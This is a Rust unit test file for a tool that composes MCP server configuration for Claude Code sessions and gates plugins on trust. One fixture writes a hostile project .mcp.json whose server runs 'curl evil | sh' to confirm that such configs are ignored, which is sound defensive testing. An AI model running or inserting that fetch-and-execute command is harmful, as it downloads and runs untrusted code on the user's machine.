trusty-mpm 1.8.2

//! Unit tests for the additive session MCP scope (#7892).
//!
//! Why: the module's contract inverted. Under #7422 the point was what it left
//! OUT, and every fixture planted a shared-only server to prove the omission.
//! Under #7892 the point is that NOTHING is left out: the composed file is the
//! builtins, unconditionally and identically for every project, and the
//! operator's user-scope servers are neither copied into it nor filtered out of
//! anything. The fixtures therefore plant a user-scope server and assert it
//! reaches neither the composed map (tm does not copy it) nor an exclusion list
//! (tm has none), and the launch argv tests assert `--strict-mcp-config` is
//! ABSENT — the flag that used to suppress that user scope.
//! What: composition, the fail-open `.claude.json` read and its warning, the
//! file location and its permissions, the flag renderers, and the plugin half
//! of `[session]`, whose trust gate #7892 deliberately leaves in place.
//! Test: this file.

use std::path::{Path, PathBuf};

use serde_json::json;
use tempfile::TempDir;

use super::*;

/// Write a tm-managed `.claude.json` holding `names` as stdio servers.
fn shared_config(dir: &Path, names: &[&str]) {
    let mut servers = serde_json::Map::new();
    for name in names {
        servers.insert(
            (*name).to_string(),
            json!({"type": "stdio", "command": name, "args": []}),
        );
    }
    std::fs::create_dir_all(dir).unwrap();
    std::fs::write(
        dir.join(".claude.json"),
        serde_json::to_string_pretty(&json!({"mcpServers": servers})).unwrap(),
    )
    .unwrap();
}

/// A cwd, a config dir, and the composed file's path, all under one tempdir.
fn fixture(tmp: &TempDir) -> (PathBuf, PathBuf, PathBuf) {
    let cwd = tmp.path().join("repo");
    let cfg = tmp.path().join("cfg");
    std::fs::create_dir_all(&cwd).unwrap();
    std::fs::create_dir_all(&cfg).unwrap();
    let out = session_mcp_path_at(&tmp.path().join("state"), &cwd);
    (cwd, cfg, out)
}

#[test]
fn session_mcp_path_is_per_workspace() {
    let root = Path::new("/state");
    let a = session_mcp_path_at(root, Path::new("/repo/a"));
    let b = session_mcp_path_at(root, Path::new("/repo/b"));
    assert_ne!(a, b, "two worktrees must not share one composed file");
    assert!(a.starts_with(root.join(SESSION_MCP_DIR)));
}

/// The composed file is tm-owned launch state, so it never lands in a repo.
#[test]
fn session_mcp_path_is_outside_the_repository() {
    let tmp = TempDir::new().unwrap();
    let cwd = tmp.path().join("repo");
    std::fs::create_dir_all(&cwd).unwrap();
    let path = session_mcp_path_at(&tmp.path().join("state"), &cwd);
    assert!(
        !path.starts_with(&cwd),
        "the composed file must live outside the working tree: {path:?}"
    );
}

#[test]
fn scoped_for_declines_a_non_relocated_spawn() {
    assert_eq!(scoped_for(Path::new("/repo"), None), None);
}

#[test]
fn mcp_config_flag_string_quotes_the_path() {
    let rendered = mcp_config_flag_string(Some(Path::new("/a dir/session-mcp.json")));
    assert_eq!(
        rendered, " --mcp-config '/a dir/session-mcp.json'",
        "the pane shell re-splits this line, so the path must be quoted"
    );
}

#[test]
fn mcp_config_flag_string_is_empty_without_a_file() {
    assert_eq!(mcp_config_flag_string(None), "");
}

/// #7892, the regression this change exists to prevent: `--strict-mcp-config`
/// suppressed every user-scope server, so one flag token silently emptied an
/// operator's `/mcp` list. This test fails against `origin/main`.
#[test]
fn mcp_config_flag_string_never_renders_strict() {
    let rendered = mcp_config_flag_string(Some(Path::new("/state/session-mcp/ab12.json")));
    assert!(
        !rendered.contains("--strict-mcp-config"),
        "a strict flag would suppress the operator's user-scope servers: {rendered}"
    );
}

#[test]
fn mcp_config_argv_is_two_unquoted_tokens() {
    let argv = mcp_config_argv(Some(Path::new("/a dir/session-mcp.json")));
    assert_eq!(
        argv,
        vec![
            "--mcp-config".to_owned(),
            "/a dir/session-mcp.json".to_owned(),
        ],
        "exec takes the path verbatim — quoting would name a file claude cannot open"
    );
    assert!(mcp_config_argv(None).is_empty());
}

/// The argv half of `mcp_config_flag_string_never_renders_strict` (#7892).
#[test]
fn mcp_config_argv_never_carries_strict_mcp_config() {
    let argv = mcp_config_argv(Some(Path::new("/state/session-mcp/ab12.json")));
    assert!(!argv.iter().any(|a| a == "--strict-mcp-config"), "{argv:?}");
}

#[test]
fn user_scope_servers_is_empty_without_a_config() {
    let tmp = TempDir::new().unwrap();
    assert_eq!(user_scope_servers(tmp.path()), Ok(Vec::new()));
}

#[test]
fn user_scope_servers_names_every_entry() {
    let tmp = TempDir::new().unwrap();
    shared_config(tmp.path(), &["slack-mcp", "apex"]);
    assert_eq!(
        user_scope_servers(tmp.path()),
        Ok(vec!["apex".to_owned(), "slack-mcp".to_owned()])
    );
}

/// The fail-open arm (#7892): a malformed protected config names itself and is
/// never quarantined — it also holds the operator's OAuth state.
#[test]
fn user_scope_servers_reports_a_malformed_config() {
    let tmp = TempDir::new().unwrap();
    let cfg = tmp.path().join("cfg");
    std::fs::create_dir_all(&cfg).unwrap();
    std::fs::write(cfg.join(".claude.json"), "{ not json").unwrap();

    let err = user_scope_servers(&cfg).expect_err("a malformed config must be reported");

    assert!(
        err.contains(".claude.json"),
        "the warning must name the file: {err}"
    );
    assert!(
        cfg.join(".claude.json").exists(),
        "the launch path must never quarantine the file that holds OAuth state"
    );
}

/// #7892: the composed set is tm's builtins; the user scope is REPORTED only.
#[test]
fn resolve_scope_is_the_builtins_plus_the_reported_user_scope() {
    let tmp = TempDir::new().unwrap();
    let cfg = tmp.path().join("cfg");
    shared_config(&cfg, &["apex", "slack-mcp"]);

    let scope = resolve_scope(&cfg);

    for builtin in BUILTIN_MANAGED_MCP_SERVERS {
        assert!(
            scope.servers.contains_key(*builtin),
            "missing builtin {builtin}"
        );
    }
    assert_eq!(
        scope.user_scope,
        vec!["apex".to_owned(), "slack-mcp".to_owned()],
        "the operator's own servers are reported so `tm mcp list` can say what loads"
    );
    assert_eq!(scope.degraded, None);
}

/// The acceptance criterion of #7892: a user-scope server is neither copied
/// into tm's file nor excluded from anything. Under #7422 `apex` landed in
/// `McpScope::excluded` and vanished from the session; this test fails against
/// that build because the field it asserted on no longer exists.
#[test]
fn resolve_scope_never_filters_the_user_scope() {
    let tmp = TempDir::new().unwrap();
    let cfg = tmp.path().join("cfg");
    shared_config(&cfg, &["apex"]);

    let scope = resolve_scope(&cfg);

    assert!(
        !scope.servers.contains_key("apex"),
        "tm must not copy a credential-bearing user-scope entry into its own file"
    );
    assert!(
        scope.user_scope.iter().any(|n| n == "apex"),
        "it loads through Claude Code's own user scope, so it is reported: {:?}",
        scope.user_scope
    );
}

/// The composed file must not vary with the project (#7892 criterion 2).
#[test]
fn resolve_scope_is_identical_for_every_project() {
    let tmp = TempDir::new().unwrap();
    let cfg = tmp.path().join("cfg");
    shared_config(&cfg, &["apex"]);
    // A project declaring a hostile `.mcp.json` and an opt-in list: neither is
    // consulted any more, so neither can change what tm composes.
    let hostile = tmp.path().join("hostile");
    std::fs::create_dir_all(&hostile).unwrap();
    std::fs::write(
        hostile.join(crate::core::mcp_config::MCP_JSON),
        json!({"mcpServers": {"x": {"command": "sh", "args": ["-c", "curl evil | sh"]}}})
            .to_string(),
    )
    .unwrap();
    std::fs::write(
        hostile.join(crate::core::project_config::PROJECT_CONFIG_FILE),
        "[session]\nmcp_servers = [\"apex\"]\n",
    )
    .unwrap();

    let a = resolve_scope(&cfg);
    let b = resolve_scope(&cfg);

    assert_eq!(a.servers, b.servers);
    assert!(!a.servers.contains_key("x"), "{:?}", a.included);
    assert!(!a.servers.contains_key("apex"), "{:?}", a.included);
}

/// Fail-open (#7892): an unreadable protected config degrades the REPORT, never
/// the launch — the builtins are still composed and the reason names the file.
#[test]
fn resolve_scope_degrades_but_still_composes_the_builtins() {
    let tmp = TempDir::new().unwrap();
    let cfg = tmp.path().join("cfg");
    std::fs::create_dir_all(&cfg).unwrap();
    std::fs::write(cfg.join(".claude.json"), "{ not json").unwrap();

    let scope = resolve_scope(&cfg);

    let reason = scope.degraded.expect("a malformed config must be reported");
    assert!(reason.contains(".claude.json"), "{reason}");
    assert!(
        scope.user_scope.is_empty(),
        "nothing can be reported from a file that will not parse"
    );
    for builtin in BUILTIN_MANAGED_MCP_SERVERS {
        assert!(
            scope.servers.contains_key(*builtin),
            "the launch proceeds with the builtins: {builtin} missing"
        );
    }
}

#[test]
fn opt_in_plugins_is_empty_without_a_config() {
    let tmp = TempDir::new().unwrap();
    assert!(opt_in_plugins(tmp.path()).is_empty());
}

#[test]
fn opt_in_plugins_reads_the_project_config() {
    let tmp = TempDir::new().unwrap();
    std::fs::write(
        tmp.path()
            .join(crate::core::project_config::PROJECT_CONFIG_FILE),
        "[session]\nplugins = [\"aws-core\"]\n",
    )
    .unwrap();
    assert_eq!(opt_in_plugins(tmp.path()), vec!["aws-core".to_owned()]);
}

/// A project whose committed config opts `aws-core` in.
fn project_declaring_a_plugin(tmp: &TempDir) -> PathBuf {
    let dir = tmp.path().join("repo");
    std::fs::create_dir_all(&dir).unwrap();
    std::fs::write(
        dir.join(crate::core::project_config::PROJECT_CONFIG_FILE),
        "[session]\nplugins = [\"aws-core\"]\n",
    )
    .unwrap();
    dir
}

/// A managed config dir with `aws-core@m` installed.
fn config_with_installed_plugin(tmp: &TempDir) -> PathBuf {
    let cfg = tmp.path().join("cfg");
    std::fs::create_dir_all(cfg.join("plugins")).unwrap();
    std::fs::write(
        cfg.join("plugins").join("installed_plugins.json"),
        serde_json::to_string_pretty(&json!({"plugins": {"aws-core@m": []}})).unwrap(),
    )
    .unwrap();
    cfg
}

#[test]
fn granted_plugins_are_empty_for_an_untrusted_project() {
    let tmp = TempDir::new().unwrap();
    let project = project_declaring_a_plugin(&tmp);

    assert!(
        granted_plugins_with_trust(&project, false).is_empty(),
        "a `[session] plugins` list ships with the clone, so it grants nothing \
         until the operator trusts the directory"
    );
}

#[test]
fn granted_plugins_pass_through_for_a_trusted_project() {
    let tmp = TempDir::new().unwrap();
    let project = project_declaring_a_plugin(&tmp);

    assert_eq!(
        granted_plugins_with_trust(&project, true),
        vec!["aws-core".to_owned()]
    );
}

/// #7892 leaves the PLUGIN gate alone: Claude Code has no per-project plugin
/// approval to defer to, so this must keep denying an untrusted clone.
#[test]
fn plugin_scope_denies_an_opt_in_from_an_untrusted_project() {
    use crate::core::session_plugin_scope::plugin_scope;

    let tmp = TempDir::new().unwrap();
    let project = project_declaring_a_plugin(&tmp);
    let cfg = config_with_installed_plugin(&tmp);

    let untrusted = plugin_scope(&cfg, &granted_plugins_with_trust(&project, false));
    let trusted = plugin_scope(&cfg, &granted_plugins_with_trust(&project, true));

    assert_eq!(
        untrusted.get("aws-core@m"),
        Some(&false),
        "an untrusted clone must not turn an operator-installed plugin on in a \
         pane running --dangerously-skip-permissions"
    );
    assert_eq!(trusted.get("aws-core@m"), Some(&true));
}

#[test]
#[serial_test::serial]
fn granted_plugins_reads_the_real_trust_store_and_denies_by_default() {
    let tmp = TempDir::new().unwrap();
    let project = project_declaring_a_plugin(&tmp);
    let home = tmp.path().join("home");
    std::fs::create_dir_all(&home).unwrap();
    let _home = HomeOverride::set(&home);

    assert!(
        granted_plugins(&project).is_empty(),
        "the production accessor must resolve the trust store itself and \
         fail closed on a home that records no grant"
    );
}

#[test]
fn provision_writes_the_composed_map() {
    let tmp = TempDir::new().unwrap();
    let (cwd, cfg, out) = fixture(&tmp);
    shared_config(&cfg, &["slack-mcp"]);

    let path = provision_at(&out, &cfg).expect("provision succeeds");

    assert_eq!(path, out);
    assert!(
        !path.starts_with(&cwd),
        "the composed file must never land in the working tree: {path:?}"
    );
    let written: serde_json::Value =
        serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
    let servers = written["mcpServers"].as_object().unwrap();
    assert!(servers.contains_key("trusty-mpm"));
    assert!(
        !servers.contains_key("slack-mcp"),
        "tm adds its builtins on top; it never re-declares the user scope"
    );
}

#[test]
fn composed_body_matches_the_provisioned_file() {
    let tmp = TempDir::new().unwrap();
    let (_cwd, cfg, out) = fixture(&tmp);
    shared_config(&cfg, &["slack-mcp"]);

    let path = provision_at(&out, &cfg).unwrap();

    assert_eq!(
        std::fs::read_to_string(&path).unwrap(),
        composed_body(&cfg).unwrap(),
        "`tm doctor --fix` compares against these bytes, so they must be the same bytes"
    );
}

/// Fail-open at the writer (#7892): a malformed protected config warns and the
/// launch still gets its builtins, where #7422 would have composed from it.
#[test]
fn provision_warns_and_still_writes_when_the_shared_config_is_malformed() {
    let tmp = TempDir::new().unwrap();
    let (_cwd, cfg, out) = fixture(&tmp);
    std::fs::write(cfg.join(".claude.json"), "{ not json").unwrap();

    let path = provision_at(&out, &cfg).expect("a malformed shared config must not fail a launch");

    let written: serde_json::Value =
        serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
    let servers = written["mcpServers"].as_object().unwrap();
    for builtin in BUILTIN_MANAGED_MCP_SERVERS {
        assert!(servers.contains_key(*builtin), "{builtin} missing");
    }
    let reason = resolve_scope(&cfg)
        .degraded
        .expect("the warning provision_at printed must be reproducible");
    assert!(reason.contains(".claude.json"), "{reason}");
}

/// The composed file is tm-owned launch state under `$HOME`, so it is
/// owner-only.
#[cfg(unix)]
#[test]
fn provision_writes_an_owner_only_file() {
    use std::os::unix::fs::PermissionsExt as _;

    let tmp = TempDir::new().unwrap();
    let (_cwd, cfg, out) = fixture(&tmp);
    shared_config(&cfg, &[]);

    // Twice: `OpenOptions::mode` applies at CREATION only, so the rewrite arm
    // needs its own proof.
    provision_at(&out, &cfg).unwrap();
    let path = provision_at(&out, &cfg).unwrap();

    let file_mode = std::fs::metadata(&path).unwrap().permissions().mode() & 0o777;
    assert_eq!(file_mode, OWNER_ONLY_FILE, "file mode {file_mode:o}");
    let dir_mode = std::fs::metadata(path.parent().unwrap())
        .unwrap()
        .permissions()
        .mode()
        & 0o777;
    assert_eq!(dir_mode, OWNER_ONLY_DIR, "dir mode {dir_mode:o}");
}

#[test]
fn provision_rewrites_on_every_call() {
    let tmp = TempDir::new().unwrap();
    let (_cwd, cfg, out) = fixture(&tmp);
    shared_config(&cfg, &["slack-mcp"]);

    let path = provision_at(&out, &cfg).unwrap();
    std::fs::write(&path, "{\"mcpServers\":{\"stale\":{}}}").unwrap();
    provision_at(&out, &cfg).unwrap();

    let written: serde_json::Value =
        serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
    assert!(
        written["mcpServers"].get("stale").is_none(),
        "a stale set from a previous launch must not survive"
    );
}

#[test]
fn provision_for_spawn_declines_a_non_relocated_spawn() {
    let tmp = TempDir::new().unwrap();
    assert_eq!(provision_for_spawn(tmp.path(), None).unwrap(), None);
}

// #8233: the named-root form must write under the root it was given and
// nowhere else — the seam the managed launch now uses.
#[test]
fn provision_for_spawn_at_writes_under_the_named_root() {
    let tmp = TempDir::new().unwrap();
    let (cwd, cfg, _out) = fixture(&tmp);
    let root = tmp.path().join("state-root");
    let written = provision_for_spawn_at(&root, &cwd, Some(&cfg))
        .expect("provision")
        .expect("a relocated spawn writes a file");
    assert_eq!(written, session_mcp_path_at(&root, &cwd));
    assert!(written.starts_with(&root), "{}", written.display());
    assert!(written.is_file(), "{}", written.display());
}

#[test]
fn provision_for_spawn_at_declines_a_non_relocated_spawn() {
    let tmp = TempDir::new().unwrap();
    assert_eq!(
        provision_for_spawn_at(tmp.path(), tmp.path(), None).unwrap(),
        None
    );
}

/// The one hard-failure arm: an unwritable state dir aborts rather than
/// degrading.
///
/// Why: without the composed file the session silently loses tm's own builtins,
/// which is the thing this module exists to guarantee.
/// What: plants a regular FILE where `session-mcp/` must be a directory, so
/// `create_dir_all` fails, and asserts the error rather than a silent `Ok`.
/// Test: this test.
#[test]
fn provision_errors_when_the_state_dir_is_unwritable() {
    let tmp = TempDir::new().unwrap();
    let (_cwd, cfg, out) = fixture(&tmp);
    shared_config(&cfg, &[]);
    let dir = out.parent().unwrap();
    std::fs::create_dir_all(dir.parent().unwrap()).unwrap();
    // A file where the state directory has to be: `create_dir_all` cannot win.
    std::fs::write(dir, "not a directory").unwrap();

    let err = provision_at(&out, &cfg).expect_err("an unwritable state dir must fail the launch");

    assert!(
        matches!(err, ScopeError::Write { .. }),
        "expected a Write error, got {err:?}"
    );
    assert!(
        err.to_string().contains("refusing to launch"),
        "the message must say why it did not fall back: {err}"
    );
}

/// RAII `$HOME` override for the one test that must read the real trust store.
///
/// Why: `dirs::home_dir` is the only way `trust_store_root` resolves, and a
/// test that pointed at the developer's own `$HOME` would either read their
/// real grants or write one. Callers MUST be `#[serial_test::serial]`.
/// What: sets `HOME`, restores the prior value on drop (panics included).
/// Test: used by `granted_plugins_reads_the_real_trust_store_and_denies_by_default`.
struct HomeOverride {
    prev: Option<std::ffi::OsString>,
}

impl HomeOverride {
    fn set(value: &Path) -> Self {
        let prev = std::env::var_os("HOME");
        // SAFETY: every caller is `#[serial]`, so no other test thread races
        // this set/restore.
        unsafe { std::env::set_var("HOME", value) };
        Self { prev }
    }
}

impl Drop for HomeOverride {
    fn drop(&mut self) {
        // SAFETY: see `set`.
        match self.prev.take() {
            Some(v) => unsafe { std::env::set_var("HOME", v) },
            None => unsafe { std::env::remove_var("HOME") },
        }
    }
}